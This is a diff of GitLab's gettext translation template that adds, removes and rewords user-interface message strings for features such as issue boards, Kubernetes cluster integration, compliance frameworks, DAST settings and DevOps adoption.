msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,10 +5686,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7399,15 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7558,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7756,12 +7546,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7834,6 +7618,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9335,9 +9098,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11791,9 +11593,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,13 +11920,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
